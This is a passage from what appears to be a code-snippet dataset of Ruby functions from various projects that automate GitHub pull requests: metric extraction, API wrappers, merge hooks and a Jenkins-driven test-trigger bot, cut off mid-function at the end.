:prior_interaction_pr_events => prior_interaction_pr_events(pr, months_back),\n :prior_interaction_pr_comments => prior_interaction_pr_comments(pr, months_back),\n :prior_interaction_commits => prior_interaction_commits(pr, months_back),\n :prior_interaction_commit_comments => prior_interaction_commit_comments(pr, months_back),\n :first_response => first_response(pr),\n :ci_latency => ci_latency(pr),\n :ci_errors => ci_errors?(pr),\n :ci_test_failures => ci_test_failures?(pr),\n }\n end",
"def merger(pr)\n q = <<-QUERY\n select u.login as login\n from issues i, issue_events ie, users u\n where i.pull_request_id = ?\n and ie.issue_id = i.id\n and ie.action = 'merged'\n and u.id = ie.actor_id\n QUERY\n merger = db.fetch(q, pr[:id]).first\n\n if merger.nil?\n # If the PR was merged, then it is safe to assume that the\n # closer is also the merger\n if not @close_reason[pr[:github_id]].nil? and @close_reason[pr[:github_id]][1] != :unknown\n closer(pr)\n else\n ''\n end\n else\n merger[:login]\n end\n end",
"def leave_all_authorized_comment\n @octokit.add_comment(\n @repository.full_name,\n @pull_request.number,\n all_authorized_message\n ).tap do |comment|\n @pull_request.comments.create(github_id: comment.id)\n end\n end",
"def pullapprove_merge_hook\n context = params[:context]\n state = params[:state]\n target = params[:target_url]\n\n if context == 'code-review/pullapprove' && state == 'success'\n pr_num = %r{https?:\\/\\/pullapprove\\.com\\/Charcoal-SE\\/SmokeDetector\\/pull-request\\/(\\d+)\\/?}.match(target)[1].to_i\n pr = Octokit.client.pull_request('Charcoal-SE/SmokeDetector', pr_num)\n\n if pr[:user][:login] != 'SmokeDetector'\n render plain: \"Not a blacklist PR, not merging (##{pr_num})\"\n return\n end\n\n unless Dir.exist?('SmokeDetector')\n system 'git clone git@github.com:Charcoal-SE/SmokeDetector'\n\n Dir.chdir('SmokeDetector') do\n system 'git config user.name metasmoke'\n system 'git', 'config', 'user.email', AppConfig['github']['username']\n end\n end\n\n if !Octokit.client.pull_merged?('Charcoal-SE/SmokeDetector', pr_num)\n File.open('SmokeDetector/.git/info/attributes', File::RDWR) do |f|\n f.flock(File::LOCK_EX)\n\n Dir.chdir('SmokeDetector') do\n ref = pr[:head][:ref]\n\n system 'git fetch origin master; git checkout -B master origin/master'\n system 'git', 'fetch', 'origin', ref\n system 'git', 'merge', \"origin/#{ref}\", '--no-ff', '-m', \"Merge pull request ##{pr_num} from Charcoal-SE/#{ref} --autopull\"\n system 'git push origin master'\n system 'git', 'push', 'origin', '--delete', ref\n system 'git', 'branch', '-D', ref\n end\n end\n\n message = \"Merged SmokeDetector [##{pr_num}](https://github.com/Charcoal-SE/SmokeDetector/pull/#{pr_num}).\"\n ActionCable.server.broadcast('smokedetector_messages', message: message)\n render plain: \"Merged ##{pr_num}\"\n else\n render plain: \"##{pr_num} already merged\"\n end\n else\n render plain: 'Not PullApprove successful status, ignoring'\n end\n end",
"def pull_request(branch_name, m = nil)\n Retryable.do { api.pull_requests.list(api.user, api.repo) }.find { |pr| pr[\"head\"][\"ref\"] == branch_name }\n rescue Github::Error::ResourceNotFound\n if m\n m.user.msg \"sorry, but an error occurred while fetching your pull request\"\n end\n end",
"def create_pull_request_comment_reply(repo, pull_id, body, comment_id, options = {})\n options.merge!({\n :body => body,\n :in_reply_to => comment_id\n })\n post \"#{Repository.path repo}/pulls/#{pull_id}/comments\", options\n end",
"def diff_branch_summary(branch_name)\n `cd #{project_repo_path} && git diff #{self.trunk_branch}..#{branch_name} --summary --stat`\n end",
"def create_patch(repo_path, commit, branch)\n `(cd \"#{repo_path}\" && git format-patch --stdout #{commit}..#{branch})`\n end",
"def merge_pr_totarget(upstream, pr_branch, repo)\n goto_prj_dir(repo)\n # check that we are in a git dir\n check_git_dir\n `git checkout #{upstream}`\n `git remote update`\n `git fetch`\n `git pull origin #{upstream}`\n `git checkout -b PR-#{pr_branch} origin/#{pr_branch}`\n puts `git branch`\n end",
"def branch_to_merge_into\n @branch_to_merge_into ||= git.latest_branch_for(branch_type)\n end",
"def topic\n \"https://github.com/#{@repository.owner}/#{@repository.name}/events/pull_request\"\n end",
"def topic\n \"https://github.com/#{@repository.owner}/#{@repository.name}/events/pull_request\"\n end",
"def pull_request_commits\n @octokit.pull_request_commits(@repository.full_name, @pull_request.number)\n end",
"def comments_for_pull_request(id)\n uri = URI(uri_string_for_comments_on_pull(id))\n execute_http_request(:get, uri).body\n end",
"def add_coreq(addtl_pull_id, addtl_pull_repo, login, trigger_login, repo_to_pull_request, settings, trigger_updated_at, updated_at, base_pull_id, base_repo, comments)\n $stderr.puts \" Processing dependency on pull request #{addtl_pull_id} in repo '#{addtl_pull_repo}'\"\n # We can add the co-requisite if the author of the original pull request is trusted, or if the author of the trigger\n # statement is trusted and they authored the trigger statement after the co-requisite statement was made\n author_trusted = user_trusted?(login, addtl_pull_repo, settings)\n trigger_author_trusted = user_trusted?(trigger_login, addtl_pull_repo, settings)\n coreq_trigger_trusted = author_trusted || (trigger_author_trusted && (trigger_updated_at && trigger_updated_at >= updated_at))\n if coreq_trigger_trusted\n pull_request = get_pull_request(addtl_pull_id, addtl_pull_repo, 2)\n if pull_request\n # On co-requisite pull requests, we do not expect there to be trigger statements, as the\n # triggers on the parent pull request will trigger builds and tests with the co-requisites\n # therefore, we need to manage the mergeable state of the co-requisite pull requests here\n # while we're considering them for their parent\n if pull_request['mergeable']\n repo_to_pull_request[addtl_pull_repo] = pull_request\n set_mergeable(addtl_pull_id, addtl_pull_repo, pull_request['user']['login'])\n # Do nothing if the PR has been merged\n elsif !(pull_request['merged'])\n if set_not_mergeable(addtl_pull_id, addtl_pull_repo, pull_request['user']['login']) >= NOT_MERGEABLE\n comment = \"Linked pull request #{addtl_pull_id} in repo '#{addtl_pull_repo}' is not mergeable\"\n $stderr.puts \" #{comment}\"\n add_comment(base_pull_id, base_repo, comment) unless get_comment_with_value(base_pull_id, base_repo, comment, comments)\n end\n end\n else\n comment = \"Linked pull request #{addtl_pull_id} in repo '#{addtl_pull_repo}' not found\"\n $stderr.puts \" #{comment}\"\n add_comment(base_pull_id, base_repo, comment) unless get_comment_with_value(base_pull_id, base_repo, comment, comments)\n end\n else\n comment = \"User '#{login}' is not permitted to #{settings['name']} linked pull request #{addtl_pull_id} in '#{addtl_pull_repo}'. If the #{settings['name']} was requested by another user with permission to #{settings['name']} in '#{addtl_pull_repo}', the linked pull request must be in a comment before the #{settings['name']} comment (not including the pull request description) or be added by a user with permission to #{settings['name']} in '#{addtl_pull_repo}'.\"\n $stderr.puts \" #{comment}\"\n add_comment(base_pull_id, base_repo, comment) unless get_comment_with_value(base_pull_id, base_repo, comment, comments)\n end\n coreq_trigger_trusted\n end",
"def process_pull_request(pr, lang)\n\n # Statistics across pull request commits\n stats = pr_stats(pr[:id])\n\n merged = ! pr[:merged_at].nil?\n git_merged = false\n merge_reason = :github\n\n if not merged\n git_merged, merge_reason = merged_with_git?(pr)\n end\n\n # Count number of src/comment lines\n src = src_lines(pr[:id].to_f)\n\n if src == 0 then raise Exception.new(\"Bad number of lines: #{0}\") end\n\n commits_last_3_month = commits_last_x_months(pr[:id], false, 3)[0][:num_commits]\n prev_pull_reqs = prev_pull_requests(pr[:id],'opened')[0][:num_pull_reqs]\n\n # Create line for a pull request\n {\n :pull_req_id => pr[:id],\n :project_name => \"#{pr[:login]}/#{pr[:project_name]}\",\n :lang => lang,\n :github_id => pr[:github_id],\n :created_at => Time.at(pr[:created_at]).to_i,\n :merged_at => merge_time(pr, merged, git_merged),\n :closed_at => Time.at(pr[:closed_at]).to_i,\n :lifetime_minutes => pr[:lifetime_minutes],\n :mergetime_minutes => merge_time_minutes(pr, merged, git_merged),\n :merged_using => merge_reason.to_s,\n :conflict => conflict?(pr[:login], pr[:project_name], pr[:github_id]),\n :forward_links => forward_links?(pr[:login], pr[:project_name], pr[:github_id]),\n :team_size => team_size_at_open(pr[:id], 3)[0][:teamsize],\n :num_commits => num_commits(pr[:id])[0][:commit_count],\n :num_commit_comments => num_comments(pr[:id])[0][:comment_count],\n :num_issue_comments => num_issue_comments(pr[:id])[0][:issue_comment_count],\n :num_comments => num_comments(pr[:id])[0][:comment_count] + num_issue_comments(pr[:id])[0][:issue_comment_count],\n :num_participants => num_participants(pr[:id])[0][:participants],\n :files_added => stats[:files_added],\n :files_deleted => stats[:files_removed],\n :files_modified => stats[:files_modified],\n :files_changed => stats[:files_added] + stats[:files_modified] + stats[:files_removed],\n :src_files => stats[:src_files],\n :doc_files => stats[:doc_files],\n :other_files => stats[:other_files],\n :perc_external_contribs => ((commits_last_3_month - commits_last_x_months(pr[:id], true, 3)[0][:num_commits]) * 100) / commits_last_3_month,\n :sloc => src,\n :src_churn => stats[:lines_added] + stats[:lines_deleted],\n :test_churn => stats[:test_lines_added] + stats[:test_lines_deleted],\n :commits_on_files_touched => commits_on_files_touched(pr[:id], Time.at(Time.at(pr[:created_at]).to_i - 3600 * 24 * 90)),\n :test_lines_per_kloc => (test_lines(pr[:id]).to_f / src.to_f) * 1000,\n :test_cases_per_kloc => (num_test_cases(pr[:id]).to_f / src.to_f) * 1000,\n :asserts_per_kloc => (num_assertions(pr[:id]).to_f / src.to_f) * 1000,\n :watchers => watchers(pr[:id])[0][:num_watchers],\n :requester => requester(pr[:id])[0][:login],\n :prev_pullreqs => prev_pull_reqs,\n :requester_succ_rate => if prev_pull_reqs > 0 then prev_pull_requests(pr[:id], 'merged')[0][:num_pull_reqs].to_f / prev_pull_reqs.to_f else 0 end,\n :followers => followers(pr[:id])[0][:num_followers],\n :intra_branch => if intra_branch?(pr[:id])[0][:intra_branch] == 1 then true else false end,\n :main_team_member => if main_team_member?(pr[:id])[0][:main_team_member] == 1 then true else false end\n }\n end",
"def git_merge(branch = \"origin/#{current_default_branch}\")\n mysystem(\"git merge #{branch}\")\n end",
"def testable_pull_request?(\n pr,\n admin_users,\n expected_body = 'test_it',\n options = {}\n )\n if ! pr['merged']\n if pr['mergeable']\n if pr['comments'] > 0\n comments = ::Github.new(options).issues.comments.all(\n pr['base']['user']['login'],\n pr['base']['repo']['name'],\n pr['number']\n )\n puts 'going through comments'\n comments.each do |comment|\n if admin_users.include?(comment['user']['login'])\n if comment['body'] == expected_body\n return true\n end\n end\n end\n else\n puts \"PR: #{pr['number']} from #{pr['base']['repo']['name']} has no issue commments.\\\n I will not test it. We only test things approved.\n \"\n end\n else\n puts \"PR: #{pr['number']} from #{pr['base']['repo']['name']} cannot be merged, will not test\"\n end\n else\n puts \"PR: #{pr['number']} from #{pr['base']['repo']['name']} was already merged, will not test\"\n end\n puts \"Did not find comment matching #{expected_body}\"\n return false\n end",
"def left_review_comment(repo, pull_number, body, commit_id, path, options = {})\n options[:side] = 'LEFT'\n opts = options.dup\n opts[:body] = body\n opts[:commit_id] = commit_id\n opts[:path] = path\n post \"#{Repository.path repo}/pulls/#{pull_number}/comments\", opts\n end",
"def branch\n 'refs/heads/master'\nend",
"def pull_comments\n GithubApi.pull_comments(self)\n end",
"def process_pr(pr, cmd)\n head = pr[:head]\n repo = head[:repo]\n\n pending_status(pr, 'Merge in progress.')\n\n return true if skip_pr?(pr)\n\n begin\n cmd.run 'git fetch', repo[:ssh_url], head[:ref] if repo\n\n merge_status = cmd.run! 'git merge --no-ff --no-edit', head[:sha]\n\n if merge_status.success?\n success_status(pr, \"Merge with '#{@base_branch}' was successful.\")\n else\n cmd.run 'git merge --abort'\n\n message = \"Failed to merge '#{head[:ref]} with #{@base_branch}.\"\n failure_status(pr, message)\n end\n rescue => e\n failure_status(pr, \"Merge encountered an error: #{e.message}.\")\n\n return false\n end\n\n true\n end",
"def merge_requests_closing_issue_on_merge(project, id)\n get(\"/projects/#{url_encode project}/issues/#{id}/closed_by\")\n end",
"def create_comment\n if file?\n puts \"| --- file\"\n files.each do |file|\n comment = Gif.where(github_type: \"file\").detect { |gif| file[:filename].downcase.include? gif.keyword.downcase }\n create_pull_request_comment(comment.image, file.filename, 1) if comment.present?\n end\n end\n\n if comment?\n puts \"| --- comment\"\n testies = Gif.where(github_type: \"comment\").detect { |gif| comment.downcase.include? gif.keyword.downcase }\n if testies.present?\n add_comment(testies.image) if issue_comment?\n create_pull_request_comment_reply(testies.image) if pull_request_review_comment?\n end\n end\n\n if branch?\n puts \"| --- branch\"\n comment = Gif.where(github_type: \"branch\").detect { |gif| head_branch.downcase.include? gif.keyword.downcase }\n unless comment\n comment = Gif.find_by(github_type: \"merge\") if merged?\n comment = Gif.find_by(github_type: \"squerge\") if squerged?\n end\n add_comment(comment.image) if comment.present?\n end\n end",
"def ensure_pull_request(owner, repo, pullreq_id,\n comments = true, commits = true, history = true,\n state = nil, actor = nil, created_at = nil)\n pulls_reqs = db[:pull_requests]\n\n project = ensure_repo(owner, repo)\n\n if project.nil?\n warn \"Could not find repo #{owner}/#{repo} for retrieving pull request #{pullreq_id}\"\n return\n end\n\n retrieved = retrieve_pull_request(owner, repo, pullreq_id)\n\n if retrieved.nil?\n warn \"Could not retrieve pull_req #{owner}/#{repo} -> #{pullreq_id}\"\n return\n end\n\n base_repo = ensure_repo(retrieved['base']['repo']['owner']['login'],\n retrieved['base']['repo']['name'])\n\n base_commit = ensure_commit(retrieved['base']['repo']['name'],\n retrieved['base']['sha'],\n retrieved['base']['repo']['owner']['login'])\n\n if pr_is_intra_branch(retrieved)\n head_repo = base_repo\n head_commit = ensure_commit(retrieved['base']['repo']['name'],\n retrieved['head']['sha'],\n retrieved['base']['repo']['owner']['login'])\n debug pr_log_msg(retrieved) + ' is intra-branch'\n else\n head_repo = if pr_has_head_repo(retrieved)\n ensure_repo(retrieved['head']['repo']['owner']['login'],\n retrieved['head']['repo']['name'])\n end\n\n head_commit = if not head_repo.nil?\n ensure_commit(retrieved['head']['repo']['name'],\n retrieved['head']['sha'],\n retrieved['head']['repo']['owner']['login'])\n end\n end\n\n pull_req_user = ensure_user(retrieved['user']['login'], false, false)\n\n merged = if retrieved['merged_at'].nil? then false else true end\n closed = if retrieved['closed_at'].nil? then false else true end\n\n pull_req = pulls_reqs.first(:base_repo_id => project[:id],\n :pullreq_id => pullreq_id)\n if pull_req.nil?\n pulls_reqs.insert(\n :head_repo_id => if not head_repo.nil? then head_repo[:id] end,\n :base_repo_id => if not base_repo.nil? then base_repo[:id] end,\n :head_commit_id => if not head_commit.nil? then head_commit[:id] end,\n :base_commit_id => if not base_commit.nil? then base_commit[:id] end,\n :pullreq_id => pullreq_id,\n :intra_branch => pr_is_intra_branch(retrieved)\n )\n info 'Added ' + pr_log_msg(retrieved)\n else\n debug pr_log_msg(retrieved) + ' exists'\n end\n\n pull_req = pulls_reqs.first(:base_repo_id => project[:id],\n :pullreq_id => pullreq_id)\n\n # Add a fake (or not so fake) issue in the issues table to serve\n # as root for retrieving discussion comments for this pull request\n issues = db[:issues]\n issue = issues.first(:pull_request_id => pull_req[:id])\n\n if issue.nil?\n issues.insert(:repo_id => base_repo[:id],\n :assignee_id => nil,\n :reporter_id => nil,\n :issue_id => pullreq_id,\n :pull_request => true,\n :pull_request_id => pull_req[:id],\n :created_at => date(retrieved['created_at']))\n debug 'Added accompanying_issue for ' + pr_log_msg(retrieved)\n else\n debug 'Accompanying issue for ' + pr_log_msg(retrieved) + ' exists'\n end\n\n if history\n # Actions on pull requests\n opener = pull_req_user[:login]\n ensure_pull_request_history(pull_req[:id], date(retrieved['created_at']),\n 'opened', opener)\n\n merger = if retrieved['merged_by'].nil? then actor else retrieved['merged_by']['login'] end\n ensure_pull_request_history(pull_req[:id], date(retrieved['merged_at']),\n 'merged', merger) if (merged && state != 'merged')\n\n closer = if merged then merger else actor end\n ensure_pull_request_history(pull_req[:id], date(retrieved['closed_at']),\n 'closed', closer) if (closed && state != 'closed')\n ensure_pull_request_history(pull_req[:id], date(created_at), state, actor) unless state.nil?\n end\n ensure_pull_request_commits(owner, repo, pullreq_id, pull_req, retrieved) if commits\n ensure_pullreq_comments(owner, repo, pullreq_id, pull_req) if comments\n ensure_issue_comments(owner, repo, pullreq_id, pull_req[:id]) if comments\n\n pull_req\n end",
"def update_pull_branch(repo, pull_number, options = {})\n opts = options.dup\n opts[:accept] = 'application/vnd.github.lydian-preview+json' if opts[:accept].nil?\n\n put \"#{Repository.path repo}/pulls/#{pull_number}/update-branch\", opts\n end",
"def process_pull_request(req, updated_at, changed_after_eval, comments, settings, merge_pretest_success)\n id = req['number']\n branch = req['base']['ref']\n base_repo = req['base']['repo']['name']\n login = req['user']['login']\n repo_to_pull_request = {base_repo => req}\n pr_base_commit = base_repo_commit_for_pull_req(req)\n all_coreq_triggers_trusted = true\n\n $stderr.puts \"\\n****Processing #{settings['name'].upcase} in '#{branch}' branch for user '#{login}' on: #{GITHUB_BASE_URL}/#{Properties['github_user']}/#{base_repo}/pull/#{id}\"\n\n trigger_updated_at, trigger_login = get_trusted_trigger_time(req, comments, settings)\n\n evaluated_time = get_evaluated_time(comments, base_repo, settings)\n\n $stderr.puts \" Updated at: #{updated_at}\"\n $stderr.puts \" Changed after evaluated time: #{changed_after_eval}\"\n $stderr.puts \" Trigger updated at: #{trigger_updated_at}\"\n $stderr.puts \" Evaluated time: #{evaluated_time}\"\n\n # Gather any dependencies from trusted users and add them to the repo_to_pull_request mapping\n $repo_to_pull_regex.each do |repo, regex|\n next if repo == base_repo\n if req['body'] =~ regex\n addtl_pull_id = $2\n all_coreq_triggers_trusted &= add_coreq(addtl_pull_id, repo, login, trigger_login, repo_to_pull_request, settings, trigger_updated_at, Time.parse(req['updated_at']), id, base_repo, comments)\n end\n end\n\n comments.each do |comment|\n $repo_to_pull_regex.each do |repo, regex|\n next if repo == base_repo\n if comment['body'] =~ regex\n addtl_pull_id = $2\n all_coreq_triggers_trusted &= add_coreq(addtl_pull_id, repo, comment['user']['login'], trigger_login, repo_to_pull_request, settings, trigger_updated_at, Time.parse(comment['updated_at']), id, base_repo, comments)\n end\n end\n end\n\n updated_comment = nil\n status = nil\n build_url = nil\n # Find the bot comment for this pull request (or create one)\n process_or_create_comment(id, base_repo, settings, comments) do |comment_id, comment, comment_updated_at|\n submit_test_job = false\n resubmit_test_job = false\n fields = extract_bot_comment_fields(comment, settings)\n # Given the last comment made by the bot, we can determine the state in which evaluation\n # of this pull request ended previously, depending on which we will take different actions\n case fields[:state]\n when :evaluating\n # In this case, we have just made a placeholder comment as we have not seen this pull\n # request previously and are evaluating it for the first time. To move forward, we want\n # to ensure that all of the co-requisite pull requests have no updates more recent than\n # the most recent trigger we have seen.\n # TODO: we should *always* check this, above, not only in this state\n #\n # Two state transitions are possible out of this state:\n # - into the 'waiting for stable build' phase, as we cannot move to begin a test unless\n # the downstream jobs in Jenkins are ready to run them\n # - into the 'running tests' phase, if we have a trusted trigger that covers all the\n # commits in the main pull request and any co-requisites\n $stderr.puts \" Evaluating...\"\n\n if JenkinsAPI.project_stable?(branch, settings)\n # Make sure there is a trigger in place that is still later than the updated dates of each of the pull requests\n if trigger_updated_at\n repo_to_pull_request.each do |repo, pull_request|\n next if repo == base_repo\n if !user_trusted?(pull_request['user']['login'], repo, settings) && trigger_updated_at < Time.parse(pull_request['head']['repo']['updated_at'])\n create_or_update_comment(id, base_repo, ACTION_PREFIX, ACTION_NOT_TEAM, comments)\n break\n end\n end\n # The main pull request and all of the co-requisite pull requests haven't been\n # updated since the last trusted trigger, so we can begin testing\n update_evaluated_markers(repo_to_pull_request, trigger_updated_at, settings)\n submit_test_job = true\n else\n # no trusted trigger statement has been made, so we cannot build or test this pull\n create_or_update_comment(id, base_repo, ACTION_PREFIX, ACTION_NOT_TEAM, comments)\n end\n else\n updated_comment = compose_bot_comment(settings['test_prefix'], :content => waiting_for_stable_build_comment_segment(branch, settings), :state => :wait_stable_build)\n end\n\n when :wait_stable_build, :wait_queue_pos, :wait_in_queue\n # In this case, we are in one of two states:\n # 1) waiting for a downstream project in Jenkins to be stable, so we can begin tests\n # 2) determining build queue position\n #\n # Two state transitions are possible from state 1 and 2):\n # - loop back into state 1 (or 2) if the Jenkins project is unstable\n # - into the 'running tests' state if the Jenkins project is stable\n # If the main pull request or any of the co-requisites have been\n # updated since the last time we evaluated the main pull request, we need to re-queue the\n # build and test.\n #\n # TODO: currently, we have one invalid state that will make\n # it through this logic: the cases where we are not in the\n # build queue but have submitted tests. We need to\n # reconsider why this is tolerated\n $stderr.puts \" Waiting...\"\n # Only submit the tests if the project is stable\n if JenkinsAPI.project_stable?(branch, settings)\n submitted_tests = submitted_tests_for_branch(branch)\n if !submitted_tests[settings['name']]\n $stderr.puts \" Checking that evaluated times are still up to date\"\n if changed_after_eval\n resubmit_test_job = true\n else\n submit_test_job = true\n repo_to_pull_request.each do |repo, sub_pull_request|\n next if repo == base_repo\n $stderr.puts \" Checking evaluated time for sub pull request #{sub_pull_request['number']} for repo '#{repo}'\"\n sub_pull_comments = get_comments(sub_pull_request['number'], repo)\n sub_pull_request_updated_at, sub_pull_request_changed_after_eval = get_updated_at(sub_pull_request, sub_pull_comments, settings)\n\n $stderr.puts \" Updated at: #{sub_pull_request_updated_at}\"\n $stderr.puts \" Changed after evaluated time: #{sub_pull_request_changed_after_eval}\"\n if sub_pull_request_changed_after_eval\n resubmit_test_job = true\n break\n end\n end\n end\n else\n $stderr.puts \" Job is already queued\"\n end\n end\n when :running\n # In this state, we have triggered tests and made it through the build queue, so there\n # are running tests\n #\n # There are two state transitions possible from this state:\n # - loop back into this state if the tests are still running\n # - into the appropriate post-build state, of which I know of:\n # - SUCCESS\n # - ABORTED\n # - UNSTABLE\n # - NOT_FOUND\n\n # Capture the build_url from the regex match\n $stderr.puts \" Running: #{fields[:build_url]}consoleFull\"\n\n # If the build is finished, update with the results\n if JenkinsAPI.build_running?(fields[:build_url], branch, settings)\n submitted_tests = submitted_tests_for_branch(branch)\n submitted_tests[settings['name']] = true unless settings['allow_multiple']\n else\n result = JenkinsAPI.build_result(fields[:build_url], branch, settings)\n # Modify a copy so if we use fields below at some later time, we don't get a surprise\n new_fields = fields.dup\n new_fields[:state] = CONTENT_TO_STATE[result]\n updated_comment = compose_bot_comment(settings['test_prefix'], new_fields)\n status = result == 'SUCCESS' ? 'success' : 'failure'\n end\n when :failure\n # In this case, are in the post-test result state, and the tests have failed\n #\n # The two states that we can transition to from here are:\n # - loop back into this state if:\n # - flake enforcement is configured and\n # - there is no comment linking a valid flake issue to the last failed\n # job and\n # - the is no administrative trigger, overriding the check and\n # - the base branch of the pull request has not been updated from the\n # version used to run the tests previous ly\n # - into the testing state if either:\n # - flake enforcement is not configured, or\n # - a contributor has linked the failure to a flake issue, or\n # - an administrator has overriden the check, or\n # - new code has been pushed to the branch since the last time this bot\n # evaluated the pull request\n $stderr.puts \" Job failed: #{comment}\"\n\n flake_config = settings['flake_identification']\n if !flake_config\n # If no flake configuration exists, it's ok to re-submit the job whenever\n # a new trigger is added to the pull request\n $stderr.puts \" No flake identification configuration exists, resubmitting...\"\n resubmit_test_job = true\n else\n # If flake configuration does exist, we have to determine if we are OK to\n # re-submit or not\n $stderr.puts \" Determining if flakes have been identified for failed job: #{fields[:build_url]}\"\n\n admin_trigger_updated_at, _ = get_admin_trigger_time(req, comments, settings)\n admin_trigger_valid = admin_trigger_updated_at && admin_trigger_updated_at > updated_at\n if !admin_trigger_valid && !changed_after_eval\n # If there is nothing else that is going to re-trigger this job, we\n # look to find an explanatory comment. This is a costly process in\n # terms of API calls, so we only do it if we need to.\n explanatory_comment_valid = has_valid_flake_comment?(comments_after(comments, comment_updated_at), flake_config)\n else\n explanatory_comment_valid = false\n end\n\n flake_comment_prefix = flake_denied_prefix(base_repo, settings['name'])\n flake_comment_body = format_flake_comment(flake_comment_prefix, flake_config, settings['repo_to_admin_teams'][base_repo])\n\n # If we can find an explanatory comment with a valid flake issue in it,\n # or we find an admin override comment, or the pull request has had new\n # code added to it since the last evaluation, we know that we are good\n # to resubmit the pull request for testing\n if explanatory_comment_valid || admin_trigger_valid || changed_after_eval\n $stderr.puts format_flake_satisfaction_message(explanatory_comment_valid, admin_trigger_valid, changed_after_eval)\n resubmit_test_job = true\n delete_comment_with_prefix(id, base_repo, flake_comment_prefix, comments)\n else\n $stderr.puts \" Flake identification not satisfied\"\n if trigger_updated_at && trigger_updated_at > evaluated_time\n # If someone's tried to trigger a re-test, but we can't re-test right\n # now, we should leave a helpful message explaining why. If we have\n # previously warned the user about why we couldn't re-test, we should\n # only update the pull request with a new set of reasons if the trigger\n # is newer than our last comment\n previous_warning = get_comment_with_prefix(id, base_repo, flake_comment_prefix, comments)\n if !previous_warning || (previous_warning && trigger_updated_at > Time.parse(previous_warning['updated_at']))\n $stderr.puts \" New reminder comment is appropriate for this pull request\"\n recreate_comment_with_prefix(id, base_repo, flake_comment_prefix, flake_comment_body, comments)\n end\n end\n end\n end\n else\n # In this case, we're in one of three states:\n # 1) ACTION_NOT_MERGE: the pull request is not mergeable and needs a rebase\n # 2) ACTION_NOT_TEAM: the pull request has no trusted triggers\n # 3) the build has finished, with one of the following states:\n # - SUCCESS\n # - ABORTED\n # - UNSTABLE\n # - NOT_FOUND\n #\n # Regardless of the current state, since we have a trusted trigger, we want to\n # re-submit this pull request for testing.\n $stderr.puts \" Finished...\"\n $stderr.puts \" #{comment}\" if (fields[:prefix] == settings['test_prefix'] && fields[:build_url])\n resubmit_test_job = true\n end\n # Once we have considered the current state of the pull request, we need to determine\n # if we are going to submit this pull request for testing\n if resubmit_test_job\n # If analysis of the current state has determined that we should re-submit the job\n # for testing, we need to check that we meet all criteria for resubmission:\n # - is the project stable? [TODO: we seem to be checking this always, move up?]\n # - have there been any changes in the main pull request since the last evaluation?\n # - have there been any changes in the co-requisite pull requests since the last evaluation?\n #\n # TODO: this logic has bled out and should be moved into a function that is called\n # inside of each state case above, instead of being called this way. Ideally each\n # state case above should be able to either submit or not submit tests internally.\n submit_test_job = false\n\n $stderr.puts \" Checking whether we should resubmit\"\n if trigger_updated_at\n # We already trust the primary pull request. Just need to check whether the eval time is older than last update or last trusted trigger.\n if changed_after_eval || (evaluated_time < trigger_updated_at)\n if JenkinsAPI.project_stable?(branch, settings)\n submit_test_job = true\n else\n updated_comment = compose_bot_comment(settings['test_prefix'], :content => waiting_for_stable_build_comment_segment(branch, settings), :state => :wait_stable_build)\n end\n end\n\n # Check for any other reason to submit the test job. And make sure non of the sub pull requests have new untrusted changes.\n repo_to_pull_request.each do |repo, sub_pull_request|\n next if repo == base_repo\n\n $stderr.puts \" Checking evaluated time for sub pull request #{sub_pull_request['number']} for repo '#{repo}'\"\n sub_pull_comments = get_comments(sub_pull_request['number'], repo)\n sub_pull_request_updated_at, sub_pull_request_changed_after_eval = get_updated_at(sub_pull_request, sub_pull_comments, settings)\n\n $stderr.puts \" Updated at: #{sub_pull_request_updated_at}\"\n $stderr.puts \" Changed after evaluated time: #{sub_pull_request_changed_after_eval}\"\n\n # Make sure the trigger on the primary pull request is after the updated date of the sub pull request\n # or the user of the sub pull request is trusted\n valid_trigger_comment = trigger_updated_at > sub_pull_request_updated_at\n $stderr.puts \" Has valid trigger comment: #{valid_trigger_comment}\"\n if valid_trigger_comment || user_trusted?(sub_pull_request['user']['login'], repo, settings)\n if sub_pull_request_changed_after_eval\n if JenkinsAPI.project_stable?(branch, settings)\n submit_test_job = true\n else\n updated_comment = compose_bot_comment(settings['test_prefix'], :content => waiting_for_stable_build_comment_segment(branch, settings), :state => :wait_stable_build)\n end\n end\n else\n create_or_update_comment(id, base_repo, ACTION_PREFIX, ACTION_NOT_TEAM, comments)\n submit_test_job = false\n break\n end\n end\n else\n create_or_update_comment(id, base_repo, ACTION_PREFIX, ACTION_NOT_TEAM, comments)\n submit_test_job = false\n end\n if submit_test_job\n update_evaluated_markers(repo_to_pull_request, trigger_updated_at, settings)\n end\n end\n\n # To complete the transition into the next phase of the pull request evaluation,\n # we need to take the correct external actions if necessary and update the bot\n # comment to reflect the new state\n if submit_test_job\n delete_comment_with_prefix(id, base_repo, ACTION_PREFIX, comments)\n # Check for pretest_settings_key, so we might skip a round\n # of tests prior to merge\n extended_tests = get_extended_tests(req, comments, branch, settings)\n validate_and_submit_tests(repo_to_pull_request, base_repo, branch, id, comment_id, extended_tests, all_coreq_triggers_trusted, comments, settings, pr_base_commit['sha'])\n elsif updated_comment\n # If we have an `updated_comment`, we have determined which state we want to\n # transition into above literally and simply need to update the comment to\n # reflect that\n recreate_comment(id, comment_id, base_repo, updated_comment)\n repo_to_pull_request.each do |repo, pull_request|\n if status && build_url\n # One of the literal transitions we specify is the transition from running\n # tests to reporting the results, so if a result has been specified we\n # furthermore know that we are transitiong into the post-test state and can\n # update the GitHub pull request status\n commit = last_commit_for_pull_id(pull_request['number'], repo)\n update_status(settings['test_prefix'], commit['sha'], repo, status, build_url, (status == 'success') ? 'Passed' : 'Failed')\n end\n next if repo == base_repo\n # Update coreq comments with appropriate base commit ID\n coreq_fields = extract_bot_comment_fields(updated_comment, settings)\n cr_bot_comment = get_comment_with_prefix(pull_request['number'], repo, settings['test_prefix'])\n coreq_fields[:base_commit] = extract_bot_comment_fields(cr_bot_comment['body'], settings)[:base_commit]\n updated_comment = compose_bot_comment(settings['test_prefix'], coreq_fields)\n recreate_comment_with_prefix(pull_request['number'], repo, settings['test_prefix'], updated_comment)\n end\n elsif !repo_to_pull_request.empty?\n # If we are not running tests and have not specified a literal state to transition\n # into, we have one more transition to check: from post-build sucess to merge\n Properties['settings'].each_value do |s|\n # Check all_coreq_triggers_trusted in case trigger author can't merge all linked repos\n if s['pretest_settings_key'] && merge_pretest_success && all_coreq_triggers_trusted\n if Properties['settings'][s['pretest_settings_key']]['name'] == settings['name']\n if fields[:state] == :success\n build_url = fields[:build_url]\n trusted_trigger_time, trigger_login = get_trusted_trigger_time(req, comments, s)\n if trusted_trigger_time\n begin\n repo_to_pull_request.each do |repo, pull_request|\n 